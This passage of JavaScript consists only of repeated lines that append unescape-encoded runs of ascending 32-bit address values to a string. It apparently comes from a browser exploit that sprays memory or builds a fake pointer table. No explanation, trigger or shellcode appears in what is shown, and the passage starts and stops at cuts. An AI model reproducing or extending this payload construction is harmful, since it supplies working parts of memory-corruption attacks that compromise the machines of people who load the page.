str += unescape("%u0000%u5ac0%u0000%u5ac4%u0000%u5ac8%u0000%u5acc%u0000%u5ad0%u0000%u5ad4%u0000%u5ad8%u0000%u5adc%u0000%u5ae0%u0000%u5ae4%u0000%u5ae8%u0000%u5aec%u0000%u5af0%u0000%u5af4%u0000%u5af8%u0000%u5afc");
str += unescape("%u0000%u5b00%u0000%u5b04%u0000%u5b08%u0000%u5b0c%u0000%u5b10%u0000%u5b14%u0000%u5b18%u0000%u5b1c%u0000%u5b20%u0000%u5b24%u0000%u5b28%u0000%u5b2c%u0000%u5b30%u0000%u5b34%u0000%u5b38%u0000%u5b3c");
str += unescape("%u0000%u5b40%u0000%u5b44%u0000%u5b48%u0000%u5b4c%u0000%u5b50%u0000%u5b54%u0000%u5b58%u0000%u5b5c%u0000%u5b60%u0000%u5b64%u0000%u5b68%u0000%u5b6c%u0000%u5b70%u0000%u5b74%u0000%u5b78%u0000%u5b7c");
str += unescape("%u0000%u5b80%u0000%u5b84%u0000%u5b88%u0000%u5b8c%u0000%u5b90%u0000%u5b94%u0000%u5b98%u0000%u5b9c%u0000%u5ba0%u0000%u5ba4%u0000%u5ba8%u0000%u5bac%u0000%u5bb0%u0000%u5bb4%u0000%u5bb8%u0000%u5bbc");
str += unescape("%u0000%u5bc0%u0000%u5bc4%u0000%u5bc8%u0000%u5bcc%u0000%u5bd0%u0000%u5bd4%u0000%u5bd8%u0000%u5bdc%u0000%u5be0%u0000%u5be4%u0000%u5be8%u0000%u5bec%u0000%u5bf0%u0000%u5bf4%u0000%u5bf8%u0000%u5bfc");
str += unescape("%u0000%u5c00%u0000%u5c04%u0000%u5c08%u0000%u5c0c%u0000%u5c10%u0000%u5c14%u0000%u5c18%u0000%u5c1c%u0000%u5c20%u0000%u5c24%u0000%u5c28%u0000%u5c2c%u0000%u5c30%u0000%u5c34%u0000%u5c38%u0000%u5c3c");
str += unescape("%u0000%u5c40%u0000%u5c44%u0000%u5c48%u0000%u5c4c%u0000%u5c50%u0000%u5c54%u0000%u5c58%u0000%u5c5c%u0000%u5c60%u0000%u5c64%u0000%u5c68%u0000%u5c6c%u0000%u5c70%u0000%u5c74%u0000%u5c78%u0000%u5c7c");
str += unescape("%u0000%u5c80%u0000%u5c84%u0000%u5c88%u0000%u5c8c%u0000%u5c90%u0000%u5c94%u0000%u5c98%u0000%u5c9c%u0000%u5ca0%u0000%u5ca4%u0000%u5ca8%u0000%u5cac%u0000%u5cb0%u0000%u5cb4%u0000%u5cb8%u0000%u5cbc");
str += unescape("%u0000%u5cc0%u0000%u5cc4%u0000%u5cc8%u0000%u5ccc%u0000%u5cd0%u0000%u5cd4%u0000%u5cd8%u0000%u5cdc%u0000%u5ce0%u0000%u5ce4%u0000%u5ce8%u0000%u5cec%u0000%u5cf0%u0000%u5cf4%u0000%u5cf8%u0000%u5cfc");
str += unescape("%u0000%u5d00%u0000%u5d04%u0000%u5d08%u0000%u5d0c%u0000%u5d10%u0000%u5d14%u0000%u5d18%u0000%u5d1c%u0000%u5d20%u0000%u5d24%u0000%u5d28%u0000%u5d2c%u0000%u5d30%u0000%u5d34%u0000%u5d38%u0000%u5d3c");
str += unescape("%u0000%u5d40%u0000%u5d44%u0000%u5d48%u0000%u5d4c%u0000%u5d50%u0000%u5d54%u0000%u5d58%u0000%u5d5c%u0000%u5d60%u0000%u5d64%u0000%u5d68%u0000%u5d6c%u0000%u5d70%u0000%u5d74%u0000%u5d78%u0000%u5d7c");
str += unescape("%u0000%u5d80%u0000%u5d84%u0000%u5d88%u0000%u5d8c%u0000%u5d90%u0000%u5d94%u0000%u5d98%u0000%u5d9c%u0000%u5da0%u0000%u5da4%u0000%u5da8%u0000%u5dac%u0000%u5db0%u0000%u5db4%u0000%u5db8%u0000%u5dbc");
str += unescape("%u0000%u5dc0%u0000%u5dc4%u0000%u5dc8%u0000%u5dcc%u0000%u5dd0%u0000%u5dd4%u0000%u5dd8%u0000%u5ddc%u0000%u5de0%u0000%u5de4%u0000%u5de8%u0000%u5dec%u0000%u5df0%u0000%u5df4%u0000%u5df8%u0000%u5dfc");
str += unescape("%u0000%u5e00%u0000%u5e04%u0000%u5e08%u0000%u5e0c%u0000%u5e10%u0000%u5e14%u0000%u5e18%u0000%u5e1c%u0000%u5e20%u0000%u5e24%u0000%u5e28%u0000%u5e2c%u0000%u5e30%u0000%u5e34%u0000%u5e38%u0000%u5e3c");
str += unescape("%u0000%u5e40%u0000%u5e44%u0000%u5e48%u0000%u5e4c%u0000%u5e50%u0000%u5e54%u0000%u5e58%u0000%u5e5c%u0000%u5e60%u0000%u5e64%u0000%u5e68%u0000%u5e6c%u0000%u5e70%u0000%u5e74%u0000%u5e78%u0000%u5e7c");
str += unescape("%u0000%u5e80%u0000%u5e84%u0000%u5e88%u0000%u5e8c%u0000%u5e90%u0000%u5e94%u0000%u5e98%u0000%u5e9c%u0000%u5ea0%u0000%u5ea4%u0000%u5ea8%u0000%u5eac%u0000%u5eb0%u0000%u5eb4%u0000%u5eb8%u0000%u5ebc");
str += unescape("%u0000%u5ec0%u0000%u5ec4%u0000%u5ec8%u0000%u5ecc%u0000%u5ed0%u0000%u5ed4%u0000%u5ed8%u0000%u5edc%u0000%u5ee0%u0000%u5ee4%u0000%u5ee8%u0000%u5eec%u0000%u5ef0%u0000%u5ef4%u0000%u5ef8%u0000%u5efc");
str += unescape("%u0000%u5f00%u0000%u5f04%u0000%u5f08%u0000%u5f0c%u0000%u5f10%u0000%u5f14%u0000%u5f18%u0000%u5f1c%u0000%u5f20%u0000%u5f24%u0000%u5f28%u0000%u5f2c%u0000%u5f30%u0000%u5f34%u0000%u5f38%u0000%u5f3c");
str += unescape("%u0000%u5f40%u0000%u5f44%u0000%u5f48%u0000%u5f4c%u0000%u5f50%u0000%u5f54%u0000%u5f58%u0000%u5f5c%u0000%u5f60%u0000%u5f64%u0000%u5f68%u0000%u5f6c%u0000%u5f70%u0000%u5f74%u0000%u5f78%u0000%u5f7c");
str += unescape("%u0000%u5f80%u0000%u5f84%u0000%u5f88%u0000%u5f8c%u0000%u5f90%u0000%u5f94%u0000%u5f98%u0000%u5f9c%u0000%u5fa0%u0000%u5fa4%u0000%u5fa8%u0000%u5fac%u0000%u5fb0%u0000%u5fb4%u0000%u5fb8%u0000%u5fbc");
str += unescape("%u0000%u5fc0%u0000%u5fc4%u0000%u5fc8%u0000%u5fcc%u0000%u5fd0%u0000%u5fd4%u0000%u5fd8%u0000%u5fdc%u0000%u5fe0%u0000%u5fe4%u0000%u5fe8%u0000%u5fec%u0000%u5ff0%u0000%u5ff4%u0000%u5ff8%u0000%u5ffc");
str += unescape("%u0000%u6000%u0000%u6004%u0000%u6008%u0000%u600c%u0000%u6010%u0000%u6014%u0000%u6018%u0000%u601c%u0000%u6020%u0000%u6024%u0000%u6028%u0000%u602c%u0000%u6030%u0000%u6034%u0000%u6038%u0000%u603c");
str += unescape("%u0000%u6040%u0000%u6044%u0000%u6048%u0000%u604c%u0000%u6050%u0000%u6054%u0000%u6058%u0000%u605c%u0000%u6060%u0000%u6064%u0000%u6068%u0000%u606c%u0000%u6070%u0000%u6074%u0000%u6078%u0000%u607c");
str += unescape("%u0000%u6080%u0000%u6084%u0000%u6088%u0000%u608c%u0000%u6090%u0000%u6094%u0000%u6098%u0000%u609c%u0000%u60a0%u0000%u60a4%u0000%u60a8%u0000%u60ac%u0000%u60b0%u0000%u60b4%u0000%u60b8%u0000%u60bc");
str += unescape("%u0000%u60c0%u0000%u60c4%u0000%u60c8%u0000%u60cc%u0000%u60d0%u0000%u60d4%u0000%u60d8%u0000%u60dc%u0000%u60e0%u0000%u60e4%u0000%u60e8%u0000%u60ec%u0000%u60f0%u0000%u60f4%u0000%u60f8%u0000%u60fc");
str += unescape("%u0000%u6100%u0000%u6104%u0000%u6108%u0000%u610c%u0000%u6110%u0000%u6114%u0000%u6118%u0000%u611c%u0000%u6120%u0000%u6124%u0000%u6128%u0000%u612c%u0000%u6130%u0000%u6134%u0000%u6138%u0000%u613c");
str += unescape("%u0000%u6140%u0000%u6144%u0000%u6148%u0000%u614c%u0000%u6150%u0000%u6154%u0000%u6158%u0000%u615c%u0000%u6160%u0000%u6164%u0000%u6168%u0000%u616c%u0000%u6170%u0000%u6174%u0000%u6178%u0000%u617c");
str += unescape("%u0000%u6180%u0000%u6184%u0000%u6188%u0000%u618c%u0000%u6190%u0000%u6194%u0000%u6198%u0000%u619c%u0000%u61a0%u0000%u61a4%u0000%u61a8%u0000%u61ac%u0000%u61b0%u0000%u61b4%u0000%u61b8%u0000%u61bc");
str += unescape("%u0000%u61c0%u0000%u61c4%u0000%u61c8%u0000%u61cc%u0000%u61d0%u0000%u61d4%u0000%u61d8%u0000%u61dc%u0000%u61e0%u0000%u61e4%u0000%u61e8%u0000%u61ec%u0000%u61f0%u0000%u61f4%u0000%u61f8%u0000%u61fc");
str += unescape("%u0000%u6200%u0000%u6204%u0000%u6208%u0000%u620c%u0000%u6210%u0000%u6214%u0000%u6218%u0000%u621c%u0000%u6220%u0000%u6224%u0000%u6228%u0000%u622c%u0000%u6230%u0000%u6234%u0000%u6238%u0000%u623c");
str += unescape("%u0000%u6240%u0000%u6244%u0000%u6248%u0000%u624c%u0000%u6250%u0000%u6254%u0000%u6258%u0000%u625c%u0000%u6260%u0000%u6264%u0000%u6268%u0000%u626c%u0000%u6270%u0000%u6274%u0000%u6278%u0000%u627c");
str += unescape("%u0000%u6280%u0000%u6284%u0000%u6288%u0000%u628c%u0000%u6290%u0000%u6294%u0000%u6298%u0000%u629c%u0000%u62a0%u0000%u62a4%u0000%u62a8%u0000%u62ac%u0000%u62b0%u0000%u62b4%u0000%u62b8%u0000%u62bc");
str += unescape("%u0000%u62c0%u0000%u62c4%u0000%u62c8%u0000%u62cc%u0000%u62d0%u0000%u62d4%u0000%u62d8%u0000%u62dc%u0000%u62e0%u0000%u62e4%u0000%u62e8%u0000%u62ec%u0000%u62f0%u0000%u62f4%u0000%u62f8%u0000%u62fc");
str += unescape("%u0000%u6300%u0000%u6304%u0000%u6308%u0000%u630c%u0000%u6310%u0000%u6314%u0000%u6318%u0000%u631c%u0000%u6320%u0000%u6324%u0000%u6328%u0000%u632c%u0000%u6330%u0000%u6334%u0000%u6338%u0000%u633c");
str += unescape("%u0000%u6340%u0000%u6344%u0000%u6348%u0000%u634c%u0000%u6350%u0000%u6354%u0000%u6358%u0000%u635c%u0000%u6360%u0000%u6364%u0000%u6368%u0000%u636c%u0000%u6370%u0000%u6374%u0000%u6378%u0000%u637c");
str += unescape("%u0000%u6380%u0000%u6384%u0000%u6388%u0000%u638c%u0000%u6390%u0000%u6394%u0000%u6398%u0000%u639c%u0000%u63a0%u0000%u63a4%u0000%u63a8%u0000%u63ac%u0000%u63b0%u0000%u63b4%u0000%u63b8%u0000%u63bc");
str += unescape("%u0000%u63c0%u0000%u63c4%u0000%u63c8%u0000%u63cc%u0000%u63d0%u0000%u63d4%u0000%u63d8%u0000%u63dc%u0000%u63e0%u0000%u63e4%u0000%u63e8%u0000%u63ec%u0000%u63f0%u0000%u63f4%u0000%u63f8%u0000%u63fc");
str += unescape("%u0000%u6400%u0000%u6404%u0000%u6408%u0000%u640c%u0000%u6410%u0000%u6414%u0000%u6418%u0000%u641c%u0000%u6420%u0000%u6424%u0000%u6428%u0000%u642c%u0000%u6430%u0000%u6434%u0000%u6438%u0000%u643c");
str += unescape("%u0000%u6440%u0000%u6444%u0000%u6448%u0000%u644c%u0000%u6450%u0000%u6454%u0000%u6458%u0000%u645c%u0000%u6460%u0000%u6464%u0000%u6468%u0000%u646c%u0000%u6470%u0000%u6474%u0000%u6478%u0000%u647c");
str += unescape("%u0000%u6480%u0000%u6484%u0000%u6488%u0000%u648c%u0000%u6490%u0000%u6494%u0000%u6498%u0000%u649c%u0000%u64a0%u0000%u64a4%u0000%u64a8%u0000%u64ac%u0000%u64b0%u0000%u64b4%u0000%u64b8%u0000%u64bc");
str += unescape("%u0000%u64c0%u0000%u64c4%u0000%u64c8%u0000%u64cc%u0000%u64d0%u0000%u64d4%u0000%u64d8%u0000%u64dc%u0000%u64e0%u0000%u64e4%u0000%u64e8%u0000%u64ec%u0000%u64f0%u0000%u64f4%u0000%u64f8%u0000%u64fc");
str += unescape("%u0000%u6500%u0000%u6504%u0000%u6508%u0000%u650c%u0000%u6510%u0000%u6514%u0000%u6518%u0000%u651c%u0000%u6520%u0000%u6524%u0000%u6528%u0000%u652c%u0000%u6530%u0000%u6534%u0000%u6538%u0000%u653c");
str += unescape("%u0000%u6540%u0000%u6544%u0000%u6548%u0000%u654c%u0000%u6550%u0000%u6554%u0000%u6558%u0000%u655c%u0000%u6560%u0000%u6564%u0000%u6568%u0000%u656c%u0000%u6570%u0000%u6574%u0000%u6578%u0000%u657c");
str += unescape("%u0000%u6580%u0000%u6584%u0000%u6588%u0000%u658c%u0000%u6590%u0000%u6594%u0000%u6598%u0000%u659c%u0000%u65a0%u0000%u65a4%u0000%u65a8%u0000%u65ac%u0000%u65b0%u0000%u65b4%u0000%u65b8%u0000%u65bc");
str += unescape("%u0000%u65c0%u0000%u65c4%u0000%u65c8%u0000%u65cc%u0000%u65d0%u0000%u65d4%u0000%u65d8%u0000%u65dc%u0000%u65e0%u0000%u65e4%u0000%u65e8%u0000%u65ec%u0000%u65f0%u0000%u65f4%u0000%u65f8%u0000%u65fc");
str += unescape("%u0000%u6600%u0000%u6604%u0000%u6608%u0000%u660c%u0000%u6610%u0000%u6614%u0000%u6618%u0000%u661c%u0000%u6620%u0000%u6624%u0000%u6628%u0000%u662c%u0000%u6630%u0000%u6634%u0000%u6638%u0000%u663c");
str += unescape("%u0000%u6640%u0000%u6644%u0000%u6648%u0000%u664c%u0000%u6650%u0000%u6654%u0000%u6658%u0000%u665c%u0000%u6660%u0000%u6664%u0000%u6668%u0000%u666c%u0000%u6670%u0000%u6674%u0000%u6678%u0000%u667c");
str += unescape("%u0000%u6680%u0000%u6684%u0000%u6688%u0000%u668c%u0000%u6690%u0000%u6694%u0000%u6698%u0000%u669c%u0000%u66a0%u0000%u66a4%u0000%u66a8%u0000%u66ac%u0000%u66b0%u0000%u66b4%u0000%u66b8%u0000%u66bc");
str += unescape("%u0000%u66c0%u0000%u66c4%u0000%u66c8%u0000%u66cc%u0000%u66d0%u0000%u66d4%u0000%u66d8%u0000%u66dc%u0000%u66e0%u0000%u66e4%u0000%u66e8%u0000%u66ec%u0000%u66f0%u0000%u66f4%u0000%u66f8%u0000%u66fc");
str += unescape("%u0000%u6700%u0000%u6704%u0000%u6708%u0000%u670c%u0000%u6710%u0000%u6714%u0000%u6718%u0000%u671c%u0000%u6720%u0000%u6724%u0000%u6728%u0000%u672c%u0000%u6730%u0000%u6734%u0000%u6738%u0000%u673c");
str += unescape("%u0000%u6740%u0000%u6744%u0000%u6748%u0000%u674c%u0000%u6750%u0000%u6754%u0000%u6758%u0000%u675c%u0000%u6760%u0000%u6764%u0000%u6768%u0000%u676c%u0000%u6770%u0000%u6774%u0000%u6778%u0000%u677c");
str += unescape("%u0000%u6780%u0000%u6784%u0000%u6788%u0000%u678c%u0000%u6790%u0000%u6794%u0000%u6798%u0000%u679c%u0000%u67a0%u0000%u67a4%u0000%u67a8%u0000%u67ac%u0000%u67b0%u0000%u67b4%u0000%u67b8%u0000%u67bc");
str += unescape("%u0000%u67c0%u0000%u67c4%u0000%u67c8%u0000%u67cc%u0000%u67d0%u0000%u67d4%u0000%u67d8%u0000%u67dc%u0000%u67e0%u0000%u67e4%u0000%u67e8%u0000%u67ec%u0000%u67f0%u0000%u67f4%u0000%u67f8%u0000%u67fc");
str += unescape("%u0000%u6800%u0000%u6804%u0000%u6808%u0000%u680c%u0000%u6810%u0000%u6814%u0000%u6818%u0000%u681c%u0000%u6820%u0000%u6824%u0000%u6828%u0000%u682c%u0000%u6830%u0000%u6834%u0000%u6838%u0000%u683c");
str += unescape("%u0000%u6840%u0000%u6844%u0000%u6848%u0000%u684c%u0000%u6850%u0000%u6854%u0000%u6858%u0000%u685c%u0000%u6860%u0000%u6864%u0000%u6868%u0000%u686c%u0000%u6870%u0000%u6874%u0000%u6878%u0000%u687c");
str += unescape("%u0000%u6880%u0000%u6884%u0000%u6888%u0000%u688c%u0000%u6890%u0000%u6894%u0000%u6898%u0000%u689c%u0000%u68a0%u0000%u68a4%u0000%u68a8%u0000%u68ac%u0000%u68b0%u0000%u68b4%u0000%u68b8%u0000%u68bc");
str += unescape("%u0000%u68c0%u0000%u68c4%u0000%u68c8%u0000%u68cc%u0000%u68d0%u0000%u68d4%u0000%u68d8%u0000%u68dc%u0000%u68e0%u0000%u68e4%u0000%u68e8%u0000%u68ec%u0000%u68f0%u0000%u68f4%u0000%u68f8%u0000%u68fc");
str += unescape("%u0000%u6900%u0000%u6904%u0000%u6908%u0000%u690c%u0000%u6910%u0000%u6914%u0000%u6918%u0000%u691c%u0000%u6920%u0000%u6924%u0000%u6928%u0000%u692c%u0000%u6930%u0000%u6934%u0000%u6938%u0000%u693c");
str += unescape("%u0000%u6940%u0000%u6944%u0000%u6948%u0000%u694c%u0000%u6950%u0000%u6954%u0000%u6958%u0000%u695c%u0000%u6960%u0000%u6964%u0000%u6968%u0000%u696c%u0000%u6970%u0000%u6974%u0000%u6978%u0000%u697c");
str += unescape("%u0000%u6980%u0000%u6984%u0000%u6988%u0000%u698c%u0000%u6990%u0000%u6994%u0000%u6998%u0000%u699c%u0000%u69a0%u0000%u69a4%u0000%u69a8%u0000%u69ac%u0000%u69b0%u0000%u69b4%u0000%u69b8%u0000%u69bc");
str += unescape("%u0000%u69c0%u0000%u69c4%u0000%u69c8%u0000%u69cc%u0000%u69d0%u0000%u69d4%u0000%u69d8%u0000%u69dc%u0000%u69e0%u0000%u69e4%u0000%u69e8%u0000%u69ec%u0000%u69f0%u0000%u69f4%u0000%u69f8%u0000%u69fc");
str += unescape("%u0000%u6a00%u0000%u6a04%u0000%u6a08%u0000%u6a0c%u0000%u6a10%u0000%u6a14%u0000%u6a18%u0000%u6a1c%u0000%u6a20%u0000%u6a24%u0000%u6a28%u0000%u6a2c%u0000%u6a30%u0000%u6a34%u0000%u6a38%u0000%u6a3c");
str += unescape("%u0000%u6a40%u0000%u6a44%u0000%u6a48%u0000%u6a4c%u0000%u6a50%u0000%u6a54%u0000%u6a58%u0000%u6a5c%u0000%u6a60%u0000%u6a64%u0000%u6a68%u0000%u6a6c%u0000%u6a70%u0000%u6a74%u0000%u6a78%u0000%u6a7c");
str += unescape("%u0000%u6a80%u0000%u6a84%u0000%u6a88%u0000%u6a8c%u0000%u6a90%u0000%u6a94%u0000%u6a98%u0000%u6a9c%u0000%u6aa0%u0000%u6aa4%u0000%u6aa8%u0000%u6aac%u0000%u6ab0%u0000%u6ab4%u0000%u6ab8%u0000%u6abc");
str += unescape("%u0000%u6ac0%u0000%u6ac4%u0000%u6ac8%u0000%u6acc%u0000%u6ad0%u0000%u6ad4%u0000%u6ad8%u0000%u6adc%u0000%u6ae0%u0000%u6ae4%u0000%u6ae8%u0000%u6aec%u0000%u6af0%u0000%u6af4%u0000%u6af8%u0000%u6afc");
str += unescape("%u0000%u6b00%u0000%u6b04%u0000%u6b08%u0000%u6b0c%u0000%u6b10%u0000%u6b14%u0000%u6b18%u0000%u6b1c%u0000%u6b20%u0000%u6b24%u0000%u6b28%u0000%u6b2c%u0000%u6b30%u0000%u6b34%u0000%u6b38%u0000%u6b3c");
str += unescape("%u0000%u6b40%u0000%u6b44%u0000%u6b48%u0000%u6b4c%u0000%u6b50%u0000%u6b54%u0000%u6b58%u0000%u6b5c%u0000%u6b60%u0000%u6b64%u0000%u6b68%u0000%u6b6c%u0000%u6b70%u0000%u6b74%u0000%u6b78%u0000%u6b7c");
str += unescape("%u0000%u6b80%u0000%u6b84%u0000%u6b88%u0000%u6b8c%u0000%u6b90%u0000%u6b94%u0000%u6b98%u0000%u6b9c%u0000%u6ba0%u0000%u6ba4%u0000%u6ba8%u0000%u6bac%u0000%u6bb0%u0000%u6bb4%u0000%u6bb8%u0000%u6bbc");
str += unescape("%u0000%u6bc0%u0000%u6bc4%u0000%u6bc8%u0000%u6bcc%u0000%u6bd0%u0000%u6bd4%u0000%u6bd8%u0000%u6bdc%u0000%u6be0%u0000%u6be4%u0000%u6be8%u0000%u6bec%u0000%u6bf0%u0000%u6bf4%u0000%u6bf8%u0000%u6bfc");
str += unescape("%u0000%u6c00%u0000%u6c04%u0000%u6c08%u0000%u6c0c%u0000%u6c10%u0000%u6c14%u0000%u6c18%u0000%u6c1c%u0000%u6c20%u0000%u6c24%u0000%u6c28%u0000%u6c2c%u0000%u6c30%u0000%u6c34%u0000%u6c38%u0000%u6c3c");
str += unescape("%u0000%u6c40%u0000%u6c44%u0000%u6c48%u0000%u6c4c%u0000%u6c50%u0000%u6c54%u0000%u6c58%u0000%u6c5c%u0000%u6c60%u0000%u6c64%u0000%u6c68%u0000%u6c6c%u0000%u6c70%u0000%u6c74%u0000%u6c78%u0000%u6c7c");
str += unescape("%u0000%u6c80%u0000%u6c84%u0000%u6c88%u0000%u6c8c%u0000%u6c90%u0000%u6c94%u0000%u6c98%u0000%u6c9c%u0000%u6ca0%u0000%u6ca4%u0000%u6ca8%u0000%u6cac%u0000%u6cb0%u0000%u6cb4%u0000%u6cb8%u0000%u6cbc");
str += unescape("%u0000%u6cc0%u0000%u6cc4%u0000%u6cc8%u0000%u6ccc%u0000%u6cd0%u0000%u6cd4%u0000%u6cd8%u0000%u6cdc%u0000%u6ce0%u0000%u6ce4%u0000%u6ce8%u0000%u6cec%u0000%u6cf0%u0000%u6cf4%u0000%u6cf8%u0000%u6cfc");
str += unescape("%u0000%u6d00%u0000%u6d04%u0000%u6d08%u0000%u6d0c%u0000%u6d10%u0000%u6d14%u0000%u6d18%u0000%u6d1c%u0000%u6d20%u0000%u6d24%u0000%u6d28%u0000%u6d2c%u0000%u6d30%u0000%u6d34%u0000%u6d38%u0000%u6d3c");
str += unescape("%u0000%u6d40%u0000%u6d44%u0000%u6d48%u0000%u6d4c%u0000%u6d50%u0000%u6d54%u0000%u6d58%u0000%u6d5c%u0000%u6d60%u0000%u6d64%u0000%u6d68%u0000%u6d6c%u0000%u6d70%u0000%u6d74%u0000%u6d78%u0000%u6d7c");
str += unescape("%u0000%u6d80%u0000%u6d84%u0000%u6d88%u0000%u6d8c%u0000%u6d90%u0000%u6d94%u0000%u6d98%u0000%u6d9c%u0000%u6da0%u0000%u6da4%u0000%u6da8%u0000%u6dac%u0000%u6db0%u0000%u6db4%u0000%u6db8%u0000%u6dbc");
str += unescape("%u0000%u6dc0%u0000%u6dc4%u0000%u6dc8%u0000%u6dcc%u0000%u6dd0%u0000%u6dd4%u0000%u6dd8%u0000%u6ddc%u0000%u6de0%u0000%u6de4%u0000%u6de8%u0000%u6dec%u0000%u6df0%u0000%u6df4%u0000%u6df8%u0000%u6dfc");
str += unescape("%u0000%u6e00%u0000%u6e04%u0000%u6e08%u0000%u6e0c%u0000%u6e10%u0000%u6e14%u0000%u6e18%u0000%u6e1c%u0000%u6e20%u0000%u6e24%u0000%u6e28%u0000%u6e2c%u0000%u6e30%u0000%u6e34%u0000%u6e38%u0000%u6e3c");
str += unescape("%u0000%u6e40%u0000%u6e44%u0000%u6e48%u0000%u6e4c%u0000%u6e50%u0000%u6e54%u0000%u6e58%u0000%u6e5c%u0000%u6e60%u0000%u6e64%u0000%u6e68%u0000%u6e6c%u0000%u6e70%u0000%u6e74%u0000%u6e78%u0000%u6e7c");
str += unescape("%u0000%u6e80%u0000%u6e84%u0000%u6e88%u0000%u6e8c%u0000%u6e90%u0000%u6e94%u0000%u6e98%u0000%u6e9c%u0000%u6ea0%u0000%u6ea4%u0000%u6ea8%u0000%u6eac%u0000%u6eb0%u0000%u6eb4%u0000%u6eb8%u0000%u6ebc");
str += unescape("%u0000%u6ec0%u0000%u6ec4%u0000%u6ec8%u0000%u6ecc%u0000%u6ed0%u0000%u6ed4%u0000%u6ed8%u0000%u6edc%u0000%u6ee0%u0000%u6ee4%u0000%u6ee8%u0000%u6eec%u0000%u6ef0%u0000%u6ef4%u0000%u6ef8%u0000%u6efc");
str += unescape("%u0000%u6f00%u0000%u6f04%u0000%u6f08%u0000%u6f0c%u0000%u6f10%u0000%u6f14%u0000%u6f18%u0000%u6f1c%u0000%u6f20%u0000%u6f24%u0000%u6f28%u0000%u6f2c%u0000%u6f30%u0000%u6f34%u0000%u6f38%u0000%u6f3c");
str += unescape("%u0000%u6f40%u0000%u6f44%u0000%u6f48%u0000%u6f4c%u0000%u6f50%u0000%u6f54%u0000%u6f58%u0000%u6f5c%u0000%u6f60%u0000%u6f64%u0000%u6f68%u0000%u6f6c%u0000%u6f70%u0000%u6f74%u0000%u6f78%u0000%u6f7c");
str += unescape("%u0000%u6f80%u0000%u6f84%u0000%u6f88%u0000%u6f8c%u0000%u6f90%u0000%u6f94%u0000%u6f98%u0000%u6f9c%u0000%u6fa0%u0000%u6fa4%u0000%u6fa8%u0000%u6fac%u0000%u6fb0%u0000%u6fb4%u0000%u6fb8%u0000%u6fbc");
str += unescape("%u0000%u6fc0%u0000%u6fc4%u0000%u6fc8%u0000%u6fcc%u0000%u6fd0%u0000%u6fd4%u0000%u6fd8%u0000%u6fdc%u0000%u6fe0%u0000%u6fe4%u0000%u6fe8%u0000%u6fec%u0000%u6ff0%u0000%u6ff4%u0000%u6ff8%u0000%u6ffc");
str += unescape("%u0000%u7000%u0000%u7004%u0000%u7008%u0000%u700c%u0000%u7010%u0000%u7014%u0000%u7018%u0000%u701c%u0000%u7020%u0000%u7024%u0000%u7028%u0000%u702c%u0000%u7030%u0000%u7034%u0000%u7038%u0000%u703c");
str += unescape("%u0000%u7040%u0000%u7044%u0000%u7048%u0000%u704c%u0000%u7050%u0000%u7054%u0000%u7058%u0000%u705c%u0000%u7060%u0000%u7064%u0000%u7068%u0000%u706c%u0000%u7070%u0000%u7074%u0000%u7078%u0000%u707c");
str += unescape("%u0000%u7080%u0000%u7084%u0000%u7088%u0000%u708c%u0000%u7090%u0000%u7094%u0000%u7098%u0000%u709c%u0000%u70a0%u0000%u70a4%u0000%u70a8%u0000%u70ac%u0000%u70b0%u0000%u70b4%u0000%u70b8%u0000%u70bc");
str += unescape("%u0000%u70c0%u0000%u70c4%u0000%u70c8%u0000%u70cc%u0000%u70d0%u0000%u70d4%u0000%u70d8%u0000%u70dc%u0000%u70e0%u0000%u70e4%u0000%u70e8%u0000%u70ec%u0000%u70f0%u0000%u70f4%u0000%u70f8%u0000%u70fc");
str += unescape("%u0000%u7100%u0000%u7104%u0000%u7108%u0000%u710c%u0000%u7110%u0000%u7114%u0000%u7118%u0000%u711c%u0000%u7120%u0000%u7124%u0000%u7128%u0000%u712c%u0000%u7130%u0000%u7134%u0000%u7138%u0000%u713c");
str += unescape("%u0000%u7140%u0000%u7144%u0000%u7148%u0000%u714c%u0000%u7150%u0000%u7154%u0000%u7158%u0000%u715c%u0000%u7160%u0000%u7164%u0000%u7168%u0000%u716c%u0000%u7170%u0000%u7174%u0000%u7178%u0000%u717c");
str += unescape("%u0000%u7180%u0000%u7184%u0000%u7188%u0000%u718c%u0000%u7190%u0000%u7194%u0000%u7198%u0000%u719c%u0000%u71a0%u0000%u71a4%u0000%u71a8%u0000%u71ac%u0000%u71b0%u0000%u71b4%u0000%u71b8%u0000%u71bc");
str += unescape("%u0000%u71c0%u0000%u71c4%u0000%u71c8%u0000%u71cc%u0000%u71d0%u0000%u71d4%u0000%u71d8%u0000%u71dc%u0000%u71e0%u0000%u71e4%u0000%u71e8%u0000%u71ec%u0000%u71f0%u0000%u71f4%u0000%u71f8%u0000%u71fc");
str += unescape("%u0000%u7200%u0000%u7204%u0000%u7208%u0000%u720c%u0000%u7210%u0000%u7214%u0000%u7218%u0000%u721c%u0000%u7220%u0000%u7224%u0000%u7228%u0000%u722c%u0000%u7230%u0000%u7234%u0000%u7238%u0000%u723c");
str += unescape("%u0000%u7240%u0000%u7244%u0000%u7248%u0000%u724c%u0000%u7250%u0000%u7254%u0000%u7258%u0000%u725c%u0000%u7260%u0000%u7264%u0000%u7268%u0000%u726c%u0000%u7270%u0000%u7274%u0000%u7278%u0000%u727c");
str += unescape("%u0000%u7280%u0000%u7284%u0000%u7288%u0000%u728c%u0000%u7290%u0000%u7294%u0000%u7298%u0000%u729c%u0000%u72a0%u0000%u72a4%u0000%u72a8%u0000%u72ac%u0000%u72b0%u0000%u72b4%u0000%u72b8%u0000%u72bc");
str += unescape("%u0000%u72c0%u0000%u72c4%u0000%u72c8%u0000%u72cc%u0000%u72d0%u0000%u72d4%u0000%u72d8%u0000%u72dc%u0000%u72e0%u0000%u72e4%u0000%u72e8%u0000%u72ec%u0000%u72f0%u0000%u72f4%u0000%u72f8%u0000%u72fc");
str += unescape("%u0000%u7300%u0000%u7304%u0000%u7308%u0000%u730c%u0000%u7310%u0000%u7314%u0000%u7318%u0000%u731c%u0000%u7320%u0000%u7324%u0000%u7328%u0000%u732c%u0000%u7330%u0000%u7334%u0000%u7338%u0000%u733c");
str += unescape("%u0000%u7340%u0000%u7344%u0000%u7348%u0000%u734c%u0000%u7350%u0000%u7354%u0000%u7358%u0000%u735c%u0000%u7360%u0000%u7364%u0000%u7368%u0000%u736c%u0000%u7370%u0000%u7374%u0000%u7378%u0000%u737c");
str += unescape("%u0000%u7380%u0000%u7384%u0000%u7388%u0000%u738c%u0000%u7390%u0000%u7394%u0000%u7398%u0000%u739c%u0000%u73a0%u0000%u73a4%u0000%u73a8%u0000%u73ac%u0000%u73b0%u0000%u73b4%u0000%u73b8%u0000%u73bc");
